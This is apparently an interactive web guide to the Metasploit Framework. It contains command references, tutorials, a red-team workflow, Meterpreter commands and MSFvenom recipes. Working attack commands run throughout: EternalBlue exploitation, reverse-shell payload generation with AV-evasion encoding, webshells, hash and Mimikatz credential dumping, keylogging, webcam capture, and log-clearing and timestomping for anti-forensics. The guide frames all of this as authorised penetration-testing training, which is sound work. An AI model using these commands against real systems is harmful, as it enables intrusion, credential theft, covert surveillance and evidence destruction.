Metasploit Framework Guide

Your complete beginner's reference for the world's most widely used penetration testing framework.

⚠

Legal & Ethical Notice: Only use Metasploit against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws worldwide. This guide is for educational purposes and authorized penetration testing only.

2,000+

Exploit Modules

1,000+

Auxiliary Modules

500+

Payload Types

7

Tutorials Included

What is Metasploit?

The Metasploit Framework (MSF) is an open-source penetration testing platform created by H.D. Moore in 2003 and acquired by Rapid7 in 2009. It's the industry standard tool for developing, testing, and executing exploits against remote targets.

Metasploit provides a unified interface to thousands of exploits, payloads, scanners, and post-exploitation tools. Whether you're a beginner or an experienced red teamer, Metasploit dramatically speeds up the penetration testing process.

Core Concepts at a Glance

💥 Exploits

Code that takes advantage of a specific vulnerability in software or hardware to gain access.

📦 Payloads

Code delivered and executed on the target after a successful exploit — e.g., a shell or Meterpreter session.

🔧 Auxiliary

Modules for scanning, fuzzing, sniffing, and information gathering — no payload needed.

🎭 Post

Post-exploitation modules run after access is gained — for privilege escalation, persistence, and data exfiltration.

🔀 Encoders

Transform payloads to evade antivirus and IDS detection.

⚡ Meterpreter

An advanced, in-memory payload providing a powerful interactive shell with built-in capabilities.

The Basic Metasploit Workflow

Every Metasploit engagement follows this fundamental pattern:

1Start msfconsole and initialise the database

2Scan and identify the target host

3Search for a matching exploit or auxiliary module

4Configure options (RHOSTS, LHOST, PAYLOAD, etc.)

5Run the exploit and catch a session

6Post-exploitation: escalate, persist, exfiltrate

Starting Metasploit

1. Start the PostgreSQL database

sudo systemctl start postgresql

2. Initialise the database (first time only)

sudo msfdb init

3. Launch msfconsole

msfconsole

msfconsole -q

The -q flag skips the ASCII art banner and launches faster.

Recommended Learning Path

1

Work through Tutorials

Step-by-step from first launch to post-exploitation

→

2

Bookmark the Command Reference

Every msfconsole command in one place

→

3

Use the Module Builder

Generate complete exploit command sequences

→

4

Study the Red Team Workflow

End-to-end pentest methodology

→

5

Master Meterpreter

Post-exploitation powerhouse reference

→

Module Builder

Build a complete Metasploit command sequence — configure your exploit, payload, and options visually.

⚠Only run these commands against targets you have authorisation to test. Replace all example IPs with real target/attacker IPs.

💥 Module Type & Selection

Module type

Example module path

🎯 Target Options

RHOSTS (target IP or range)

RPORT (target port, if required)

📡 Attacker Options

LHOST (your IP — for reverse shells)

LPORT (your listener port)

📦 Payload

Payload selection

⚙ Additional Options

Verbose output Run check first Show sessions after Show module info first

🔢 Sessions & Jobs

Extra SET options (one per line)

💾 Output

Save session output

▶ Generated Command Sequence

Configure options above to generate your command sequence

Tip: Copy the entire sequence and paste it into msfconsole — it executes line by line automatically.

Command Reference

Every msfconsole command, option, and module type.

Core Console Commands

Command	Description
help / ?	Show all available commands
help <command>	Get help on a specific command
version	Display Metasploit version
banner	Display a random Metasploit banner
connect <host> <port>	Connect to a host (like netcat)
exit / quit	Exit msfconsole
history	Show command history
makerc <file>	Save command history to a resource file
resource <file.rc>	Execute commands from a resource script file
spool <file>	Log all console output to a file
reload_all	Reload all modules from disk
load <plugin>	Load a Metasploit plugin (e.g., load kiwi)
unload <plugin>	Unload a loaded plugin

Module Commands

Command	Description
search <term>	Search all modules by name, CVE, platform, type, etc.
search type:exploit platform:windows	Filter search by type and platform
search cve:2017-0144	Search by CVE number
use <module path>	Select a module to use
use <number>	Select module by search result number
info	Show full module info: description, options, references
info <module path>	Show info for a module without selecting it
show options	Show configurable options for current module
show advanced	Show advanced module options
show payloads	Show compatible payloads for current exploit
show targets	Show exploit targets (OS versions, service versions)
show exploits	List all exploit modules
show auxiliary	List all auxiliary modules
show post	List all post-exploitation modules
show encoders	List all encoder modules
back	Exit current module, return to main prompt
previous	Go back to previously selected module
check	Check if target is vulnerable (not all modules support this)
run / exploit	Execute the current module
run -j	Run module as a background job
run -z	Run and immediately background new sessions

Setting Options

Command	Description
set <OPTION> <value>	Set an option for the current module
set RHOSTS 192.168.1.100	Set the target host(s)
set RHOSTS 192.168.1.0/24	Set target as a subnet
set LHOST 192.168.1.10	Set your attacker IP (for reverse payloads)
set LPORT 4444	Set your listener port
set PAYLOAD windows/meterpreter/reverse_tcp	Select a payload
set TARGET 0	Select an exploit target by index
set VERBOSE true	Enable verbose output
setg <OPTION> <value>	Set option globally (persists across modules)
setg LHOST 192.168.1.10	Set LHOST globally once for entire session
unset <OPTION>	Unset a specific option
unset all	Unset all options for current module
unsetg <OPTION>	Unset a global option
get <OPTION>	Show the current value of an option
save	Save current settings to configuration file

Session Management

Command	Description
sessions	List all active sessions
sessions -l	List sessions (verbose)
sessions -i <id>	Interact with / attach to a session
sessions -k <id>	Kill (terminate) a session
sessions -K	Kill all active sessions
sessions -u <id>	Upgrade shell session to Meterpreter
sessions -c <cmd>	Run a command on all sessions
Ctrl+Z	Background current session, return to msfconsole
background	Background current Meterpreter session

Database Commands

Command	Description
db_status	Check if database is connected
workspace	List all workspaces
workspace -a <name>	Create a new workspace
workspace -d <name>	Delete a workspace
workspace <name>	Switch to a workspace
db_nmap <options> <target>	Run nmap and store results in the database
db_nmap -sV -O 192.168.1.0/24	Example: version and OS scan stored to DB
hosts	List all discovered hosts in current workspace
hosts -R	Set RHOSTS to all hosts in the database
services	List all discovered services
services -p 80,443	Filter services by port number
vulns	List all detected vulnerabilities
creds	List all captured credentials
notes	List notes from the database
db_export -f xml out.xml	Export database to XML file
db_import <file>	Import scan results (Nmap XML, Nessus, etc.)

Jobs

Command	Description
jobs	List all running background jobs
jobs -l	List jobs (verbose)
kill <job_id>	Kill a specific background job by ID
jobs -K	Kill all running jobs
route	View and manage routes for pivoting
route add <subnet> <session>	Route traffic through a session (pivoting)
route flush	Remove all routes

Common Example Sequences

Task	Commands
EternalBlue (MS17-010) exploit	use exploit/windows/smb/ms17_010_eternalblue
SMB vulnerability check (scanner)	use auxiliary/scanner/smb/smb_ms17_010
Port scan via Metasploit	use auxiliary/scanner/portscan/tcp
SSH brute force	use auxiliary/scanner/ssh/ssh_login
Catch reverse shell	use exploit/multi/handler
Local privilege escalation suggester	use post/multi/recon/local_exploit_suggester
Hash dumping (Windows)	use post/windows/gather/hashdump
List smb shares	use auxiliary/scanner/smb/smb_enumshares
HTTP directory scan	use auxiliary/scanner/http/dir_scanner
SNMP enumeration	use auxiliary/scanner/snmp/snmp_enum

Tutorials

Step-by-step walkthroughs for beginners — from launching msfconsole to post-exploitation.

1

Launching msfconsole for the First Time

▼ Expand

Set up the database, start msfconsole, and understand the interface.

1

Start the PostgreSQL database

Metasploit uses PostgreSQL to store scan results, credentials, and session data.

sudo systemctl start postgresql

2

Initialise the database (first time only)

sudo msfdb init

This creates the database schema. Only needed once. Verify with db_status inside msfconsole.

3

Launch msfconsole

msfconsole -q

You'll see the msf6 > prompt. The -q flag skips the banner for faster startup.

4

Check database connection

db_status

Should show: postgresql connected to msf

5

Create a workspace for your engagement

workspace -a my_pentest

Workspaces keep different engagements separate in the database.

✓ Done! msfconsole is running and connected to the database. Move to Tutorial 2 to start scanning.

2

Searching and Selecting Modules

▼ Expand

Find the right module, view its details, and understand what it does.

1

Search for modules

search eternalblue

search type:exploit platform:windows smb

search cve:2017-0144

2

Select a module by path or number

use exploit/windows/smb/ms17_010_eternalblue

Or use the number shown in search results: use 0

Your prompt changes to: msf6 exploit(windows/smb/ms17_010_eternalblue) >

3

View module information

info

Shows: description, author, CVE references, available targets, required options, and notes on reliability.

4

View required options

show options

Look for options marked Required: yes — these must be set before running.

5

See compatible payloads

show payloads

3

Scanning with Auxiliary Modules

▼ Expand

Use Metasploit's built-in scanners to find hosts and services.

1

Scan with db_nmap (results saved to DB)

db_nmap -sV -O 192.168.1.0/24

All nmap flags work with db_nmap. Results go straight into the Metasploit database.

2

View discovered hosts and services

hosts

services

services -p 445

3

TCP port scan with Metasploit auxiliary

use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.1.0/24 set THREADS 50 run

4

Check for EternalBlue vulnerability

use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.1.0/24 run

5

Set RHOSTS from database hosts

hosts -R

This automatically populates RHOSTS with all hosts in the database — great for scanning multiple targets at once.

4

Running Your First Exploit

▼ Expand

Configure and execute an exploit module against a target. (Lab environments only!)

⚠Practice this on intentionally vulnerable VMs only — e.g. Metasploitable2, HackTheBox, TryHackMe, or your own lab.

1

Select the exploit

use exploit/windows/smb/ms17_010_eternalblue

2

View required options

show options

3

Configure options

set RHOSTS 192.168.1.100

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.1.10

set LPORT 4444

4

Verify configuration

show options

Check all Required options are set. Double-check LHOST is your actual IP address.

5

Optionally check if target is vulnerable

check

6

Run the exploit

exploit

On success you'll see: Meterpreter session 1 opened and your prompt becomes meterpreter >

5

Catching Reverse Shells with multi/handler

▼ Expand

Set up a listener to catch payloads delivered via social engineering or other vectors.

1

Use the multi/handler module

use exploit/multi/handler

This module catches incoming connections from payloads — it doesn't attack anything, it listens.

2

Match the payload to what you sent the target

set PAYLOAD windows/meterpreter/reverse_tcp

The payload here MUST match the payload embedded in your malicious file/link.

3

Set listener options

set LHOST 0.0.0.0

set LPORT 4444

0.0.0.0 listens on all interfaces — use your specific IP if needed.

4

Run as a background job (recommended)

exploit -j

Running as a job lets you continue using msfconsole while waiting for connections.

5

Interact with an incoming session

sessions -l

sessions -i 1

6

Post-Exploitation Basics

▼ Expand

What to do once you have a Meterpreter session on the target.

1

Get basic system info

sysinfo

getuid

getpid

2

Attempt privilege escalation

getsystem

Tries multiple techniques to escalate to SYSTEM. Run getuid afterwards to verify.

3

Find local privilege escalation opportunities

background use post/multi/recon/local_exploit_suggester set SESSION 1 run

4

Dump password hashes

hashdump

Dumps local account hashes in format: user:RID:LM_hash:NTLM_hash. Requires SYSTEM.

5

Migrate to a stable process

ps

migrate 1234

Migrate your Meterpreter into a stable process like explorer.exe or svchost.exe to avoid losing your session.

7

Working with Workspaces & the Database

▼ Expand

Organise engagements and use the database to power your workflow.

1

Create a workspace per engagement

workspace -a client_webapp

workspace client_webapp

2

Import existing nmap XML scan results

db_import /tmp/nmap_scan.xml

3

Set RHOSTS from all DB hosts at once

hosts -R

Populates RHOSTS with every host in the database — powerful for running a scanner across all discovered targets.

4

Export your workspace data

db_export -f xml /tmp/pentest_results.xml

Glossary

Definitions for every Metasploit concept, term, and option.

Red Team Workflow

The complete Metasploit methodology for a penetration test — from setup to reporting.

⚠This workflow is for authorised engagements only. Always obtain written permission (a "Rules of Engagement" document) before proceeding.

1

Setup & Scoping

Define the scope, start your database, and create a workspace for the engagement.

sudo systemctl start postgresql && msfconsole -q

workspace -a client_engagement_2024

setg LHOST 192.168.1.10

2

Reconnaissance & Enumeration

Discover hosts, open ports, and services. Store results directly in the Metasploit database.

db_nmap -sV -sC -O --open 192.168.1.0/24

hosts

services -p 445,80,22,3389

3

Vulnerability Identification

Run targeted auxiliary scanners to find exploitable vulnerabilities.

use auxiliary/scanner/smb/smb_ms17_010 hosts -R run

search type:auxiliary platform:windows scanner

4

Exploitation

Select an exploit, configure options, and gain access. Start with the most impactful, least noisy attack.

use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.100 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LPORT 4444 exploit

5

Post-Exploitation

Once inside, gather intelligence, escalate privileges, and pivot to other systems.

sysinfo getuid getsystem hashdump

use post/multi/recon/local_exploit_suggester set SESSION 1 run

6

Pivoting

Use a compromised host as a stepping stone into internal, unreachable networks.

route add 10.10.10.0/24 1

use auxiliary/server/socks_proxy set SRVPORT 1080 set VERSION 5 run -j

7

Documentation & Cleanup

Export your findings, clean up artifacts, and prepare your report.

db_export -f xml /tmp/engagement_results.xml

sessions -K

vulns

creds

Meterpreter Reference

Complete command reference for Metasploit's advanced post-exploitation shell.

ℹMeterpreter runs entirely in memory — it leaves no files on disk, encrypts communications, and provides far more capability than a standard shell. Press Ctrl+Z or type background to return to msfconsole without killing the session.

System Information

Command	Description
sysinfo	OS, hostname, architecture, Meterpreter type
getuid	Current user context (e.g., NT AUTHORITY\SYSTEM)
getpid	Current process ID
ps	List all running processes
migrate <pid>	Migrate Meterpreter into another process
shell	Drop into an interactive system shell (cmd.exe / bash)
execute -f cmd.exe -i	Execute a program interactively
kill <pid>	Kill a process by ID
idletime	Seconds since user last interacted with the system
env	Show environment variables
clearev	Clear Windows event logs (Application, System, Security)

File System

Command	Description
pwd	Print current remote directory
ls / dir	List files in current directory
cd <path>	Change remote directory
cat <file>	Display file contents
edit <file>	Open file in editor
upload <local> <remote>	Upload file to target
download <remote> <local>	Download file from target
rm <file>	Delete a file
mkdir <dir>	Create directory
search -f *.txt -d C:\\	Search for files by pattern recursively
search -f password* -d C:\\Users	Search for password files
timestomp <file> -m "01/01/2020 00:00:00"	Modify file timestamps (anti-forensics)

Networking

Command	Description
ipconfig / ifconfig	Show network interfaces
arp	Display ARP cache (other hosts on LAN)
netstat	Show active connections
route	Show routing table
portfwd add -l 3389 -r 10.10.10.5 -p 3389	Forward attacker port to internal target port
portfwd list	List active port forwards
portfwd flush	Remove all port forwards

Privilege Escalation

Command	Description
getsystem	Attempt multiple auto-privilege escalation techniques
getsystem -t 1	Technique 1: Named Pipe Impersonation (in memory) — 2: Named Pipe (dropper) — 3: Token Duplication
getuid	Verify current privilege level after escalation
use post/multi/recon/local_exploit_suggester	Find applicable local privilege escalation exploits
use post/windows/escalate/getsystem	Post module for getsystem
load incognito	Load incognito plugin for token impersonation
list_tokens -u	List available user tokens (incognito)
impersonate_token "NT AUTHORITY\\SYSTEM"	Impersonate a token (incognito)

Credential Access

Command	Description
hashdump	Dump local SAM hashes (requires SYSTEM)
run post/windows/gather/hashdump	Alternative hash dump via post module
load kiwi	Load Kiwi (Mimikatz) extension
creds_all	Dump all credentials using Kiwi
lsa_dump_sam	Dump SAM database with Kiwi
lsa_dump_secrets	Dump LSA secrets with Kiwi
wifi_list	List saved Wi-Fi networks and passwords
run post/windows/gather/credentials/credential_collector	Collect various stored credentials

Surveillance

Command	Description
screenshot	Take a screenshot of the target's desktop
screenshare	Watch the target's desktop in real-time
keyscan_start	Start keylogger
keyscan_dump	Dump captured keystrokes
keyscan_stop	Stop keylogger
webcam_list	List available webcams
webcam_snap	Take a photo from the webcam
webcam_stream	Stream webcam to browser
record_mic	Record audio from microphone

Pivoting

Command / Usage	Description
background	Background session, return to msfconsole
route add 10.10.10.0/24 1	Route traffic through session 1 to internal subnet
route print	Show current routing table
portfwd add -l 3389 -r 10.10.10.5 -p 3389	Forward RDP from internal host to attacker
use auxiliary/server/socks_proxy	Set up SOCKS5 proxy through compromised host

MSFvenom Reference

Generate standalone payloads for delivery via email, web, USB, or social engineering.

⚠MSFvenom creates real malware. Only generate and use payloads on systems you own or have explicit permission to test. Never deliver payloads to unsuspecting targets.

Basic Syntax

msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <output_file>

Common Payloads by Platform

Platform	Command
Windows EXE	msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe
Windows EXE (x64)	msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell64.exe
Linux ELF	msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -o shell.elf
Linux ELF (x64)	msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -o shell64.elf
macOS (x64 Intel)	msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f macho -o shell.macho
Android APK	msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -o shell.apk
PHP webshell	msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw -o shell.php
Python script	msfvenom -p python/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw -o shell.py
PowerShell	msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f psh -o shell.ps1
ASP webshell	msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f asp -o shell.asp
WAR (Java server)	msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f war -o shell.war

Encoding Payloads (AV Evasion)

Command	Description
msfvenom -l encoders	List all available encoders
msfvenom -l payloads	List all payloads
msfvenom -l formats	List all output formats
-e x86/shikata_ga_nai -i 5	Encode with shikata_ga_nai, 5 iterations
-e x64/xor_dynamic -i 3	XOR encoder for 64-bit payloads
--platform windows --arch x86	Specify platform and architecture explicitly
-b "\x00\x0a\x0d"	Avoid bad characters in shellcode
-n 200	Prepend N NOP sled bytes

Catching Generated Payloads

Always set up a listener before delivering a payload. Generated payloads connect back to your LHOST:LPORT.

use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 0.0.0.0 set LPORT 4444 exploit -j

Flashcards

Study Metasploit commands, terms, and payloads. Click a card to reveal the answer.

What does this do?

Loading...

Click to reveal answer

Answer

Mark your result below

Correct / Incorrect keeps the card in the deck until you get it right · Mark Learned removes it permanently · Skip moves to the next card

Progress0%

—

Remaining

0

Correct

0

Incorrect

0

Learned ✓

Bookmarks

Your saved commands — stored locally in your browser.

My Notes

Personal notes — auto-saved to your browser's local storage.

Auto-saved locally

Search Results

Metasploit Framework Guide

What is Metasploit?

Core Concepts at a Glance

💥 Exploits

📦 Payloads

🔧 Auxiliary

🎭 Post

🔀 Encoders

⚡ Meterpreter

The Basic Metasploit Workflow

Starting Metasploit

1. Start the PostgreSQL database

2. Initialise the database (first time only)

3. Launch msfconsole

Recommended Learning Path

Work through Tutorials

Bookmark the Command Reference

Use the Module Builder

Study the Red Team Workflow

Master Meterpreter

Module Builder

💥 Module Type & Selection

🎯 Target Options

📡 Attacker Options

📦 Payload

⚙ Additional Options

🔢 Sessions & Jobs

💾 Output

Command Reference

Core Console Commands

Module Commands

Setting Options

Session Management

Database Commands

Jobs

Common Example Sequences

Tutorials

Start the PostgreSQL database

Initialise the database (first time only)

Launch msfconsole

Check database connection

Create a workspace for your engagement

Search for modules

Select a module by path or number

View module information

View required options

See compatible payloads

Scan with db_nmap (results saved to DB)

View discovered hosts and services

TCP port scan with Metasploit auxiliary

Check for EternalBlue vulnerability

Set RHOSTS from database hosts

Select the exploit

View required options

Configure options

Verify configuration

Optionally check if target is vulnerable

Run the exploit

Use the multi/handler module

Match the payload to what you sent the target

Set listener options

Run as a background job (recommended)

Interact with an incoming session

Get basic system info

Attempt privilege escalation

Find local privilege escalation opportunities

Dump password hashes

Migrate to a stable process

Create a workspace per engagement

Import existing nmap XML scan results

Set RHOSTS from all DB hosts at once

Export your workspace data

Glossary

Red Team Workflow

Setup & Scoping

Reconnaissance & Enumeration

Vulnerability Identification

Exploitation

Post-Exploitation